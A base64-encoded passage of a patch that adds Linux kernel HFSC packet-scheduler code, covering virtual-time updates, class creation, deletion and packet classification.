Y2xfdnRvZmY7DQorCQkJCWNsLT5jbF92dG9mZiA9IDA7DQorCQkJfQ0KKwkJ CWNsLT5jbF92dGFkaiA9IDA7DQorDQorCQkJY2wtPmNsX3Z0cGVyaW9kKys7 ICAvKiBpbmNyZW1lbnQgdnQgcGVyaW9kICovDQorCQkJY2wtPmNsX3BhcmVu dHBlcmlvZCA9IGNsLT5jbF9wYXJlbnQtPmNsX3Z0cGVyaW9kOw0KKwkJCWlm IChjbC0+Y2xfcGFyZW50LT5jbF9uYWN0aXZlID09IDApDQorCQkJCWNsLT5j bF9wYXJlbnRwZXJpb2QrKzsNCisJCQljbC0+Y2xfZiA9IDA7DQorDQorCQkJ YWN0bGlzdF9pbnNlcnQoY2wpOw0KKw0KKwkJCWlmIChjbC0+Y2xfZmxhZ3Mg JiBIRlNDX1VTQykgew0KKwkJCQkvKiBjbGFzcyBoYXMgdXBwZXIgbGltaXQg Y3VydmUgKi8NCisJCQkJaWYgKGN1cl90aW1lID09IDApDQorCQkJCQlQU0NI RURfR0VUX1RJTUUoY3VyX3RpbWUpOw0KKw0KKwkJCQkvKiB1cGRhdGUgdGhl IHVsaW1pdCBjdXJ2ZSAqLw0KKwkJCQlydHNjX21pbigmY2wtPmNsX3VsaW1p dCwgJmNsLT5jbF91c2MsIGN1cl90aW1lLA0KKwkJCQkgICAgICAgICBjbC0+ Y2xfdG90YWwpOw0KKwkJCQkvKiBjb21wdXRlIG15ZiAqLw0KKwkJCQljbC0+ Y2xfbXlmID0gcnRzY195MngoJmNsLT5jbF91bGltaXQsDQorCQkJCSAgICAg ICAgICAgICAgICAgICAgICBjbC0+Y2xfdG90YWwpOw0KKwkJCQljbC0+Y2xf bXlmYWRqID0gMDsNCisJCQl9DQorCQl9DQorDQorCQlmID0gbWF4KGNsLT5j bF9teWYsIGNsLT5jbF9jZm1pbik7DQorCQlpZiAoZiAhPSBjbC0+Y2xfZikg ew0KKwkJCWNsLT5jbF9mID0gZjsNCisJCQl1cGRhdGVfY2ZtaW4oY2wtPmNs X3BhcmVudCk7DQorCQl9DQorCX0NCit9DQorDQorc3RhdGljIHZvaWQNCit1 cGRhdGVfdmYoc3RydWN0IGhmc2NfY2xhc3MgKmNsLCB1bnNpZ25lZCBpbnQg bGVuLCB1X2ludDY0X3QgY3VyX3RpbWUpDQorew0KKwl1X2ludDY0X3QgZjsg LyogLCBteWZfYm91bmQsIGRlbHRhOyAqLw0KKwlpbnQgZ29fcGFzc2l2ZSA9 IDA7DQorDQorCWlmIChjbC0+cWRpc2MtPnEucWxlbiA9PSAwICYmIGNsLT5j bF9mbGFncyAmIEhGU0NfRlNDKQ0KKwkJZ29fcGFzc2l2ZSA9IDE7DQorDQor CWZvciAoOyBjbC0+Y2xfcGFyZW50ICE9IE5VTEw7IGNsID0gY2wtPmNsX3Bh cmVudCkgew0KKwkJY2wtPmNsX3RvdGFsICs9IGxlbjsNCisNCisJCWlmICgh KGNsLT5jbF9mbGFncyAmIEhGU0NfRlNDKSB8fCBjbC0+Y2xfbmFjdGl2ZSA9 PSAwKQ0KKwkJCWNvbnRpbnVlOw0KKw0KKwkJaWYgKGdvX3Bhc3NpdmUgJiYg LS1jbC0+Y2xfbmFjdGl2ZSA9PSAwKQ0KKwkJCWdvX3Bhc3NpdmUgPSAxOw0K KwkJZWxzZQ0KKwkJCWdvX3Bhc3NpdmUgPSAwOw0KKw0KKwkJaWYgKGdvX3Bh c3NpdmUpIHsNCisJCQkvKiBubyBtb3JlIGFjdGl2ZSBjaGlsZCwgZ29pbmcg cGFzc2l2ZSAqLw0KKw0KKwkJCS8qIHVwZGF0ZSBjdnRtYXggb2YgdGhlIHBh cmVudCBjbGFzcyAqLw0KKwkJCWlmIChjbC0+Y2xfdnQgPiBjbC0+Y2xfcGFy ZW50LT5jbF9jdnRtYXgpDQorCQkJCWNsLT5jbF9wYXJlbnQtPmNsX2N2dG1h eCA9IGNsLT5jbF92dDsNCisNCisJCQkvKiByZW1vdmUgdGhpcyBjbGFzcyBm cm9tIHRoZSB2dCBsaXN0ICovDQorCQkJYWN0bGlzdF9yZW1vdmUoY2wpOw0K Kw0KKwkJCXVwZGF0ZV9jZm1pbihjbC0+Y2xfcGFyZW50KTsNCisNCisJCQlj b250aW51ZTsNCisJCX0NCisNCisJCS8qDQorCQkgKiB1cGRhdGUgdnQgYW5k IGYNCisJCSAqLw0KKwkJY2wtPmNsX3Z0ID0gcnRzY195MngoJmNsLT5jbF92 aXJ0dWFsLCBjbC0+Y2xfdG90YWwpDQorCQkgICAgICAgICAgICAtIGNsLT5j bF92dG9mZiArIGNsLT5jbF92dGFkajsNCisNCisJCS8qDQorCQkgKiBpZiB2 dCBvZiB0aGUgY2xhc3MgaXMgc21hbGxlciB0aGFuIGN2dG1pbiwNCisJCSAq IHRoZSBjbGFzcyB3YXMgc2tpcHBlZCBpbiB0aGUgcGFzdCBkdWUgdG8gbm9u LWZpdC4NCisJCSAqIGlmIHNvLCB3ZSBuZWVkIHRvIGFkanVzdCB2dGFkai4N CisJCSAqLw0KKwkJaWYgKGNsLT5jbF92dCA8IGNsLT5jbF9wYXJlbnQtPmNs X2N2dG1pbikgew0KKwkJCWNsLT5jbF92dGFkaiArPSBjbC0+Y2xfcGFyZW50 LT5jbF9jdnRtaW4gLSBjbC0+Y2xfdnQ7DQorCQkJY2wtPmNsX3Z0ID0gY2wt PmNsX3BhcmVudC0+Y2xfY3Z0bWluOw0KKwkJfQ0KKw0KKwkJLyogdXBkYXRl IHRoZSB2dCBsaXN0ICovDQorCQlhY3RsaXN0X3VwZGF0ZShjbCk7DQorDQor CQlpZiAoY2wtPmNsX2ZsYWdzICYgSEZTQ19VU0MpIHsNCisJCQljbC0+Y2xf bXlmID0gY2wtPmNsX215ZmFkaiArIHJ0c2NfeTJ4KCZjbC0+Y2xfdWxpbWl0 LA0KKwkJCSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg Y2wtPmNsX3RvdGFsKTsNCisjaWYgMA0KKwkJCS8qDQorCQkJICogVGhpcyBj b2RlIGNhdXNlcyBjbGFzc2VzIHRvIHN0YXkgd2F5IHVuZGVyIHRoZWlyDQor CQkJICogbGltaXQgd2hlbiBtdWx0aXBsZSBjbGFzc2VzIGFyZSB1c2VkIGF0 IGdpZ2FiaXQNCisJCQkgKiBzcGVlZC4gbmVlZHMgaW52ZXN0aWdhdGlvbi4g LWthYmVyDQorCQkJICovDQorCQkJLyoNCisJCQkgKiBpZiBteWYgbGFncyBi ZWhpbmQgYnkgbW9yZSB0aGFuIG9uZSBjbG9jayB0aWNrDQorCQkJICogZnJv bSB0aGUgY3VycmVudCB0aW1lLCBhZGp1c3QgbXlmYWRqIHRvIHByZXZlbnQN CisJCQkgKiBhIHJhdGUtbGltaXRlZCBjbGFzcyBmcm9tIGdvaW5nIGdyZWVk eS4NCisJCQkgKiBpbiBhIHN0ZWFkeSBzdGF0ZSB1bmRlciByYXRlLWxpbWl0 aW5nLCBteWYNCisJCQkgKiBmbHVjdHVhdGVzIHdpdGhpbiBvbmUgY2xvY2sg dGljay4NCisJCQkgKi8NCisJCQlteWZfYm91bmQgPSBjdXJfdGltZSAtIFBT Q0hFRF9KSUZGSUUyVVMoMSk7DQorCQkJaWYgKGNsLT5jbF9teWYgPCBteWZf Ym91bmQpIHsNCisJCQkJZGVsdGEgPSBjdXJfdGltZSAtIGNsLT5jbF9teWY7 DQorCQkJCWNsLT5jbF9teWZhZGogKz0gZGVsdGE7DQorCQkJCWNsLT5jbF9t eWYgKz0gZGVsdGE7DQorCQkJfQ0KKyNlbmRpZg0KKwkJfQ0KKw0KKwkJZiA9 IG1heChjbC0+Y2xfbXlmLCBjbC0+Y2xfY2ZtaW4pOw0KKwkJaWYgKGYgIT0g Y2wtPmNsX2YpIHsNCisJCQljbC0+Y2xfZiA9IGY7DQorCQkJdXBkYXRlX2Nm bWluKGNsLT5jbF9wYXJlbnQpOw0KKwkJfQ0KKwl9DQorfQ0KKw0KK3N0YXRp YyB2b2lkDQorc2V0X2FjdGl2ZShzdHJ1Y3QgaGZzY19jbGFzcyAqY2wsIHVu c2lnbmVkIGludCBsZW4pDQorew0KKwlpZiAoY2wtPmNsX2ZsYWdzICYgSEZT Q19SU0MpDQorCQlpbml0X2VkKGNsLCBsZW4pOw0KKwlpZiAoY2wtPmNsX2Zs YWdzICYgSEZTQ19GU0MpDQorCQlpbml0X3ZmKGNsLCBsZW4pOw0KKwkNCisJ bGlzdF9hZGRfdGFpbCgmY2wtPmRsaXN0LCAmY2wtPnNjaGVkLT5kcm9wbGlz dCk7DQorfQ0KKw0KK3N0YXRpYyB2b2lkDQorc2V0X3Bhc3NpdmUoc3RydWN0 IGhmc2NfY2xhc3MgKmNsKQ0KK3sNCisJaWYgKGNsLT5jbF9mbGFncyAmIEhG U0NfUlNDKQ0KKwkJZWxsaXN0X3JlbW92ZShjbCk7DQorDQorCWxpc3RfZGVs KCZjbC0+ZGxpc3QpOw0KKw0KKwkvKg0KKwkgKiBhY3RsaXN0IGlzIG5vdyBo YW5kbGVkIGluIHVwZGF0ZV92ZigpIHNvIHRoYXQgdXBkYXRlX3ZmKGNsLCAw LCAwKQ0KKwkgKiBuZWVkcyB0byBiZSBjYWxsZWQgZXhwbGljaXRseSB0byBy ZW1vdmUgYSBjbGFzcyBmcm9tIGFjdGxpc3QNCisJICovDQorfQ0KKw0KKy8q DQorICogaGFjayB0byBnZXQgbGVuZ3RoIG9mIGZpcnN0IHBhY2tldCBpbiBx dWV1ZS4gDQorICovDQorc3RhdGljIHVuc2lnbmVkIGludCANCitxZGlzY19w ZWVrX2xlbihzdHJ1Y3QgUWRpc2MgKnNjaCkNCit7DQorCXN0cnVjdCBza19i dWZmICpza2I7DQorCXVuc2lnbmVkIGludCBsZW47DQorDQorCXNrYiA9IHNj aC0+ZGVxdWV1ZShzY2gpOw0KKwlpZiAoc2tiID09IE5VTEwpIHsNCisJCWlm IChuZXRfcmF0ZWxpbWl0KCkpDQorCQkJcHJpbnRrKCJxZGlzY19wZWVrX2xl bjogbm9uIHdvcmstY29uc2VydmluZyBxZGlzYyA/XG4iKTsNCisJCXJldHVy biAwOw0KKwl9DQorCWxlbiA9IHNrYi0+bGVuOw0KKwlpZiAodW5saWtlbHko c2NoLT5vcHMtPnJlcXVldWUoc2tiLCBzY2gpICE9IE5FVF9YTUlUX1NVQ0NF U1MpKSB7DQorCQlpZiAobmV0X3JhdGVsaW1pdCgpKQ0KKwkJCXByaW50aygi cWRpc2NfcGVla19sZW46IGZhaWxlZCB0byByZXF1ZXVlXG4iKTsNCisJCXJl dHVybiAwOw0KKwl9DQorCXJldHVybiBsZW47DQorfQ0KKw0KK3N0YXRpYyB2 b2lkDQoraGZzY19wdXJnZV9xdWV1ZShzdHJ1Y3QgUWRpc2MgKnNjaCwgc3Ry dWN0IGhmc2NfY2xhc3MgKmNsKQ0KK3sNCisJdW5zaWduZWQgaW50IGxlbiA9 IGNsLT5xZGlzYy0+cS5xbGVuOw0KKw0KKwlxZGlzY19yZXNldChjbC0+cWRp c2MpOw0KKwlpZiAobGVuID4gMCkgew0KKwkJdXBkYXRlX3ZmKGNsLCAwLCAw KTsNCisJCXNldF9wYXNzaXZlKGNsKTsNCisJCXNjaC0+cS5xbGVuIC09IGxl bjsNCisJfQ0KK30NCisNCitzdGF0aWMgdm9pZA0KK2hmc2NfYWRqdXN0X2xl dmVscyhzdHJ1Y3QgaGZzY19jbGFzcyAqY2wpDQorew0KKwlzdHJ1Y3QgaGZz Y19jbGFzcyAqcDsNCisJdW5zaWduZWQgaW50IGxldmVsOw0KKw0KKwlkbyB7 DQorCQlsZXZlbCA9IDA7DQorCQlsaXN0X2Zvcl9lYWNoX2VudHJ5KHAsICZj bC0+Y2hpbGRyZW4sIHNpYmxpbmdzKSB7DQorCQkJaWYgKHAtPmxldmVsID4g bGV2ZWwpDQorCQkJCWxldmVsID0gcC0+bGV2ZWw7DQorCQl9DQorCQljbC0+ bGV2ZWwgPSBsZXZlbCArIDE7DQorCX0gd2hpbGUgKChjbCA9IGNsLT5jbF9w YXJlbnQpICE9IE5VTEwpOw0KK30NCisNCitzdGF0aWMgaW5saW5lIHVuc2ln bmVkIGludA0KK2hmc2NfaGFzaCh1X2ludDMyX3QgaCkNCit7DQorCWggXj0g aCA+PiA4Ow0KKwloIF49IGggPj4gNDsNCisNCisJcmV0dXJuIGggJiAoSEZT Q19IU0laRSAtIDEpOw0KK30NCisNCitzdGF0aWMgaW5saW5lIHN0cnVjdCBo ZnNjX2NsYXNzICoNCitoZnNjX2ZpbmRfY2xhc3ModV9pbnQzMl90IGNsYXNz aWQsIHN0cnVjdCBRZGlzYyAqc2NoKQ0KK3sNCisJc3RydWN0IGhmc2Nfc2No ZWQgKnEgPSAoc3RydWN0IGhmc2Nfc2NoZWQgKilzY2gtPmRhdGE7DQorCXN0 cnVjdCBoZnNjX2NsYXNzICpjbDsNCisNCisJbGlzdF9mb3JfZWFjaF9lbnRy eShjbCwgJnEtPmNsaGFzaFtoZnNjX2hhc2goY2xhc3NpZCldLCBobGlzdCkg ew0KKwkJaWYgKGNsLT5jbGFzc2lkID09IGNsYXNzaWQpDQorCQkJcmV0dXJu IGNsOw0KKwl9DQorCXJldHVybiBOVUxMOw0KK30NCisNCitzdGF0aWMgdm9p ZA0KK2hmc2NfY2hhbmdlX3JzYyhzdHJ1Y3QgaGZzY19jbGFzcyAqY2wsIHN0 cnVjdCB0Y19zZXJ2aWNlX2N1cnZlICpyc2MsDQorICAgICAgICAgICAgICAg IHVfaW50NjRfdCBjdXJfdGltZSkNCit7DQorCXNjMmlzYyhyc2MsICZjbC0+ Y2xfcnNjKTsNCisJcnRzY19pbml0KCZjbC0+Y2xfZGVhZGxpbmUsICZjbC0+ Y2xfcnNjLCBjdXJfdGltZSwgY2wtPmNsX2N1bXVsKTsNCisJY2wtPmNsX2Vs aWdpYmxlID0gY2wtPmNsX2RlYWRsaW5lOw0KKwlpZiAoY2wtPmNsX3JzYy5z bTEgPD0gY2wtPmNsX3JzYy5zbTIpIHsNCisJCWNsLT5jbF9lbGlnaWJsZS5k eCA9IDA7DQorCQljbC0+Y2xfZWxpZ2libGUuZHkgPSAwOw0KKwl9DQorCWNs LT5jbF9mbGFncyB8PSBIRlNDX1JTQzsNCit9DQorDQorc3RhdGljIHZvaWQN CitoZnNjX2NoYW5nZV9mc2Moc3RydWN0IGhmc2NfY2xhc3MgKmNsLCBzdHJ1 Y3QgdGNfc2VydmljZV9jdXJ2ZSAqZnNjKQ0KK3sNCisJc2MyaXNjKGZzYywg JmNsLT5jbF9mc2MpOw0KKwlydHNjX2luaXQoJmNsLT5jbF92aXJ0dWFsLCAm Y2wtPmNsX2ZzYywgY2wtPmNsX3Z0LCBjbC0+Y2xfdG90YWwpOw0KKwljbC0+ Y2xfZmxhZ3MgfD0gSEZTQ19GU0M7DQorfQ0KKw0KK3N0YXRpYyB2b2lkDQor aGZzY19jaGFuZ2VfdXNjKHN0cnVjdCBoZnNjX2NsYXNzICpjbCwgc3RydWN0 IHRjX3NlcnZpY2VfY3VydmUgKnVzYywNCisgICAgICAgICAgICAgICAgdV9p bnQ2NF90IGN1cl90aW1lKQ0KK3sNCisJc2MyaXNjKHVzYywgJmNsLT5jbF91 c2MpOw0KKwlydHNjX2luaXQoJmNsLT5jbF91bGltaXQsICZjbC0+Y2xfdXNj LCBjdXJfdGltZSwgY2wtPmNsX3RvdGFsKTsNCisJY2wtPmNsX2ZsYWdzIHw9 IEhGU0NfVVNDOw0KK30NCisNCitzdGF0aWMgaW50DQoraGZzY19jaGFuZ2Vf Y2xhc3Moc3RydWN0IFFkaXNjICpzY2gsIHVfaW50MzJfdCBjbGFzc2lkLCB1 X2ludDMyX3QgcGFyZW50aWQsDQorICAgICAgICAgICAgICAgICAgc3RydWN0 IHJ0YXR0ciAqKnRjYSwgdW5zaWduZWQgbG9uZyAqYXJnKQ0KK3sNCisJc3Ry dWN0IGhmc2Nfc2NoZWQgKnEgPSAoc3RydWN0IGhmc2Nfc2NoZWQgKilzY2gt PmRhdGE7DQorCXN0cnVjdCBoZnNjX2NsYXNzICpjbCA9IChzdHJ1Y3QgaGZz Y19jbGFzcyAqKSphcmc7DQorCXN0cnVjdCBoZnNjX2NsYXNzICpwYXJlbnQg PSBOVUxMOw0KKwlzdHJ1Y3QgcnRhdHRyICpvcHQgPSB0Y2FbVENBX09QVElP TlMtMV07DQorCXN0cnVjdCBydGF0dHIgKnRiW1RDQV9IRlNDX01BWF07DQor CXN0cnVjdCB0Y19zZXJ2aWNlX2N1cnZlICpyc2MgPSBOVUxMLCAqZnNjID0g TlVMTCwgKnVzYyA9IE5VTEw7DQorCXVfaW50NjRfdCBjdXJfdGltZTsNCisN CisJaWYgKG9wdCA9PSBOVUxMIHx8DQorCSAgICBydGF0dHJfcGFyc2UodGIs IFRDQV9IRlNDX01BWCwgUlRBX0RBVEEob3B0KSwgUlRBX1BBWUxPQUQob3B0 KSkpDQorCQlyZXR1cm4gLUVJTlZBTDsNCisNCisJaWYgKHRiW1RDQV9IRlND X1JTQy0xXSkgew0KKwkJaWYgKFJUQV9QQVlMT0FEKHRiW1RDQV9IRlNDX1JT Qy0xXSkgPCBzaXplb2YoKnJzYykpDQorCQkJcmV0dXJuIC1FSU5WQUw7DQor CQlyc2MgPSBSVEFfREFUQSh0YltUQ0FfSEZTQ19SU0MtMV0pOw0KKwkJaWYg KHJzYy0+bTEgPT0gMCAmJiByc2MtPm0yID09IDApDQorCQkJcnNjID0gTlVM TDsNCisJfQ0KKw0KKwlpZiAodGJbVENBX0hGU0NfRlNDLTFdKSB7DQorCQlp ZiAoUlRBX1BBWUxPQUQodGJbVENBX0hGU0NfRlNDLTFdKSA8IHNpemVvZigq ZnNjKSkNCisJCQlyZXR1cm4gLUVJTlZBTDsNCisJCWZzYyA9IFJUQV9EQVRB KHRiW1RDQV9IRlNDX0ZTQy0xXSk7DQorCQlpZiAoZnNjLT5tMSA9PSAwICYm IGZzYy0+bTIgPT0gMCkNCisJCQlmc2MgPSBOVUxMOw0KKwl9DQorDQorCWlm ICh0YltUQ0FfSEZTQ19VU0MtMV0pIHsNCisJCWlmIChSVEFfUEFZTE9BRCh0 YltUQ0FfSEZTQ19VU0MtMV0pIDwgc2l6ZW9mKCp1c2MpKQ0KKwkJCXJldHVy biAtRUlOVkFMOw0KKwkJdXNjID0gUlRBX0RBVEEodGJbVENBX0hGU0NfVVND LTFdKTsNCisJCWlmICh1c2MtPm0xID09IDAgJiYgdXNjLT5tMiA9PSAwKQ0K KwkJCXVzYyA9IE5VTEw7DQorCX0NCisNCisJaWYgKGNsICE9IE5VTEwpIHsN CisJCWlmIChwYXJlbnRpZCkgew0KKwkJCWlmIChjbC0+Y2xfcGFyZW50ICYm IGNsLT5jbF9wYXJlbnQtPmNsYXNzaWQgIT0gcGFyZW50aWQpDQorCQkJCXJl dHVybiAtRUlOVkFMOw0KKwkJCWlmIChjbC0+Y2xfcGFyZW50ID09IE5VTEwg JiYgcGFyZW50aWQgIT0gVENfSF9ST09UKQ0KKwkJCQlyZXR1cm4gLUVJTlZB TDsNCisJCX0NCisJCVBTQ0hFRF9HRVRfVElNRShjdXJfdGltZSk7DQorDQor CQlzY2hfdHJlZV9sb2NrKHNjaCk7DQorCQlpZiAocnNjICE9IE5VTEwpDQor CQkJaGZzY19jaGFuZ2VfcnNjKGNsLCByc2MsIGN1cl90aW1lKTsNCisJCWlm IChmc2MgIT0gTlVMTCkNCisJCQloZnNjX2NoYW5nZV9mc2MoY2wsIGZzYyk7 DQorCQlpZiAodXNjICE9IE5VTEwpDQorCQkJaGZzY19jaGFuZ2VfdXNjKGNs LCB1c2MsIGN1cl90aW1lKTsNCisNCisJCWlmIChjbC0+cWRpc2MtPnEucWxl biAhPSAwKSB7DQorCQkJaWYgKGNsLT5jbF9mbGFncyAmIEhGU0NfUlNDKQ0K KwkJCQl1cGRhdGVfZWQoY2wsIHFkaXNjX3BlZWtfbGVuKGNsLT5xZGlzYykp Ow0KKwkJCWlmIChjbC0+Y2xfZmxhZ3MgJiBIRlNDX0ZTQykNCisJCQkJdXBk YXRlX3ZmKGNsLCAwLCBjdXJfdGltZSk7DQorCQl9DQorCQlzY2hfdHJlZV91 bmxvY2soc2NoKTsNCisNCisjaWZkZWYgQ09ORklHX05FVF9FU1RJTUFUT1IN CisJCWlmICh0Y2FbVENBX1JBVEUtMV0pIHsNCisJCQlxZGlzY19raWxsX2Vz dGltYXRvcigmY2wtPnN0YXRzKTsNCisJCQlxZGlzY19uZXdfZXN0aW1hdG9y KCZjbC0+c3RhdHMsIHRjYVtUQ0FfUkFURS0xXSk7DQorCQl9DQorI2VuZGlm DQorCQlyZXR1cm4gMDsNCisJfQ0KKw0KKwlpZiAocGFyZW50aWQgPT0gVENf SF9ST09UKQ0KKwkJcmV0dXJuIC1FRVhJU1Q7DQorDQorCXBhcmVudCA9ICZx LT5yb290Ow0KKwlpZiAocGFyZW50aWQpIHsNCisJCXBhcmVudCA9IGhmc2Nf ZmluZF9jbGFzcyhwYXJlbnRpZCwgc2NoKTsNCisJCWlmIChwYXJlbnQgPT0g TlVMTCkNCisJCQlyZXR1cm4gLUVOT0VOVDsNCisJfQ0KKw0KKwlpZiAoY2xh c3NpZCA9PSAwIHx8IFRDX0hfTUFKKGNsYXNzaWQgXiBzY2gtPmhhbmRsZSkg IT0gMCkNCisJCXJldHVybiAtRUlOVkFMOw0KKwlpZiAoaGZzY19maW5kX2Ns YXNzKGNsYXNzaWQsIHNjaCkpDQorCQlyZXR1cm4gLUVFWElTVDsNCisNCisJ aWYgKHJzYyA9PSBOVUxMICYmIGZzYyA9PSBOVUxMKQ0KKwkJcmV0dXJuIC1F SU5WQUw7DQorCQ0KKwljbCA9IGttYWxsb2Moc2l6ZW9mKHN0cnVjdCBoZnNj X2NsYXNzKSwgR0ZQX0tFUk5FTCk7DQorCWlmIChjbCA9PSBOVUxMKQ0KKwkJ cmV0dXJuIC1FTk9CVUZTOw0KKwltZW1zZXQoY2wsIDAsIHNpemVvZihzdHJ1 Y3QgaGZzY19jbGFzcykpOw0KKw0KKwlpZiAocnNjICE9IE5VTEwpDQorCQlo ZnNjX2NoYW5nZV9yc2MoY2wsIHJzYywgMCk7DQorCWlmIChmc2MgIT0gTlVM TCkNCisJCWhmc2NfY2hhbmdlX2ZzYyhjbCwgZnNjKTsNCisJaWYgKHVzYyAh PSBOVUxMKQ0KKwkJaGZzY19jaGFuZ2VfdXNjKGNsLCB1c2MsIDApOw0KKw0K KwljbC0+cmVmY250ICAgID0gMTsNCisJY2wtPmNsYXNzaWQgICA9IGNsYXNz aWQ7DQorCWNsLT5zY2hlZCAgICAgPSBxOw0KKwljbC0+Y2xfcGFyZW50ID0g cGFyZW50Ow0KKwljbC0+cWRpc2MgPSBxZGlzY19jcmVhdGVfZGZsdChzY2gt PmRldiwgJnBmaWZvX3FkaXNjX29wcyk7DQorCWlmIChjbC0+cWRpc2MgPT0g TlVMTCkNCisJCWNsLT5xZGlzYyA9ICZub29wX3FkaXNjOw0KKwljbC0+c3Rh dHMubG9jayA9ICZzY2gtPmRldi0+cXVldWVfbG9jazsNCisJSU5JVF9MSVNU X0hFQUQoJmNsLT5jaGlsZHJlbik7DQorCUlOSVRfTElTVF9IRUFEKCZjbC0+ YWN0bGlzdCk7DQorDQorCXNjaF90cmVlX2xvY2soc2NoKTsNCisJbGlzdF9h ZGRfdGFpbCgmY2wtPmhsaXN0LCAmcS0+Y2xoYXNoW2hmc2NfaGFzaChjbGFz c2lkKV0pOw0KKwlsaXN0X2FkZF90YWlsKCZjbC0+c2libGluZ3MsICZwYXJl bnQtPmNoaWxkcmVuKTsNCisJaWYgKHBhcmVudC0+bGV2ZWwgPT0gMCkNCisJ CWhmc2NfcHVyZ2VfcXVldWUoc2NoLCBwYXJlbnQpOw0KKwloZnNjX2FkanVz dF9sZXZlbHMocGFyZW50KTsNCisJc2NoX3RyZWVfdW5sb2NrKHNjaCk7DQor DQorI2lmZGVmIENPTkZJR19ORVRfRVNUSU1BVE9SDQorCWlmICh0Y2FbVENB X1JBVEUtMV0pDQorCQlxZGlzY19uZXdfZXN0aW1hdG9yKCZjbC0+c3RhdHMs IHRjYVtUQ0FfUkFURS0xXSk7DQorI2VuZGlmDQorCSphcmcgPSAodW5zaWdu ZWQgbG9uZyljbDsNCisJcmV0dXJuIDA7DQorfQ0KKw0KK3N0YXRpYyB2b2lk DQoraGZzY19kZXN0cm95X2ZpbHRlcnMoc3RydWN0IHRjZl9wcm90byAqKmZs KQ0KK3sNCisJc3RydWN0IHRjZl9wcm90byAqdHA7DQorDQorCXdoaWxlICgo dHAgPSAqZmwpICE9IE5VTEwpIHsNCisJCSpmbCA9IHRwLT5uZXh0Ow0KKwkJ dGNmX2Rlc3Ryb3kodHApOw0KKwl9DQorfQ0KKw0KK3N0YXRpYyB2b2lkDQor aGZzY19kZXN0cm95X2NsYXNzKHN0cnVjdCBRZGlzYyAqc2NoLCBzdHJ1Y3Qg aGZzY19jbGFzcyAqY2wpDQorew0KKwlzdHJ1Y3QgaGZzY19zY2hlZCAqcSA9 IChzdHJ1Y3QgaGZzY19zY2hlZCAqKXNjaC0+ZGF0YTsNCisNCisJaGZzY19k ZXN0cm95X2ZpbHRlcnMoJmNsLT5maWx0ZXJfbGlzdCk7DQorCXFkaXNjX2Rl c3Ryb3koY2wtPnFkaXNjKTsNCisjaWZkZWYgQ09ORklHX05FVF9FU1RJTUFU T1INCisJcWRpc2Nfa2lsbF9lc3RpbWF0b3IoJmNsLT5zdGF0cyk7DQorI2Vu ZGlmDQorCWlmIChjbCAhPSAmcS0+cm9vdCkNCisJCWtmcmVlKGNsKTsNCit9 DQorDQorc3RhdGljIGludA0KK2hmc2NfZGVsZXRlX2NsYXNzKHN0cnVjdCBR ZGlzYyAqc2NoLCB1bnNpZ25lZCBsb25nIGFyZykNCit7DQorCXN0cnVjdCBo ZnNjX3NjaGVkICpxID0gKHN0cnVjdCBoZnNjX3NjaGVkICopc2NoLT5kYXRh Ow0KKwlzdHJ1Y3QgaGZzY19jbGFzcyAqY2wgPSAoc3RydWN0IGhmc2NfY2xh c3MgKilhcmc7DQorCQ0KKwlpZiAoY2wtPmxldmVsID4gMCB8fCBjbC0+Zmls dGVyX2NudCA+IDAgfHwgY2wgPT0gJnEtPnJvb3QpDQorCQlyZXR1cm4gLUVC VVNZOw0KKw0KKwlzY2hfdHJlZV9sb2NrKHNjaCk7DQorDQorCWxpc3RfZGVs KCZjbC0+aGxpc3QpOw0KKwlsaXN0X2RlbCgmY2wtPnNpYmxpbmdzKTsNCisJ aGZzY19hZGp1c3RfbGV2ZWxzKGNsLT5jbF9wYXJlbnQpOw0KKwloZnNjX3B1 cmdlX3F1ZXVlKHNjaCwgY2wpOw0KKwlpZiAocS0+bGFzdF94bWl0ID09IGNs KQ0KKwkJcS0+bGFzdF94bWl0ID0gTlVMTDsNCisNCisJaWYgKC0tY2wtPnJl ZmNudCA9PSAwKQ0KKwkJaGZzY19kZXN0cm95X2NsYXNzKHNjaCwgY2wpOw0K Kw0KKwlzY2hfdHJlZV91bmxvY2soc2NoKTsNCisJcmV0dXJuIDA7DQorfQ0K Kw0KK3N0YXRpYyBzdHJ1Y3QgaGZzY19jbGFzcyAqDQoraGZzY19jbGFzc2lm eShzdHJ1Y3Qgc2tfYnVmZiAqc2tiLCBzdHJ1Y3QgUWRpc2MgKnNjaCkNCit7 DQorCXN0cnVjdCBoZnNjX3NjaGVkICpxID0gKHN0cnVjdCBoZnNjX3NjaGVk ICopc2NoLT5kYXRhOw0KKwlzdHJ1Y3QgaGZzY19jbGFzcyAqY2w7DQorCXN0 cnVjdCB0Y2ZfcmVzdWx0IHJlczsNCisJc3RydWN0IHRjZl9wcm90byAqdGNm Ow0KKwlpbnQgcmVzdWx0Ow0KKw0KKwlpZiAoVENfSF9NQUooc2tiLT5wcmlv cml0eSBeIHNjaC0+aGFuZGxlKSA9PSAwICYmDQorCSAgICAoY2wgPSBoZnNj X2ZpbmRfY2xhc3Moc2tiLT5wcmlvcml0eSwgc2NoKSkgIT0gTlVMTCkNCisJ CWlmIChjbC0+bGV2ZWwgPT0gMCkNCisJCQlyZXR1cm4gY2w7DQorCQ0KKwl0 Y2YgPSBxLT5yb290LmZpbHRlcl9saXN0Ow0KKwl3aGlsZSAodGNmICYmIChy ZXN1bHQgPSB0Y19jbGFzc2lmeShza2IsIHRjZiwgJnJlcykpID49IDApIHsN CisjaWZkZWYgQ09ORklHX05FVF9DTFNfUE9MSUNFDQorCQlpZiAocmVzdWx0 ID09IFRDX1BPTElDRV9TSE9UKQ0KKwkJCXJldHVybiBOVUxMOw0KKyNlbmRp Zg0KKwkJaWYgKChjbCA9IChzdHJ1Y3QgaGZzY19jbGFzcyAqKXJlcy5jbGFz cykgPT0gTlVMTCkgew0KKwkJCWlmICgoY2wgPSBoZnNjX2ZpbmRfY2xhc3Mo cmVzLmNsYXNzaWQsIHNjaCkpID09IE5VTEwpDQorCQkJCWJyZWFrOyAvKiBm aWx0ZXIgc2VsZWN0ZWQgaW52YWxpZCBjbGFzc2lkICovDQorCQl9DQorDQor CQlpZiAoY2wtPmxldmVsID09IDApDQorCQkJcmV0dXJuIGNsOyAvKiBoaXQg bGVhZiBjbGFzcyAqLw0KKw0KKwkJLyogYXBwbHkgaW5uZXIgZmlsdGVyIGNo YWluICovDQorCQl0Y2YgPSBjbC0+ZmlsdGVyX2xpc3Q7DQorCX0NCisNCisJ LyogY2xhc3NpZmljYXRpb24gZmFpbGVkLCB0cnkgZGVmYXVsdCBjbGFzcyAq 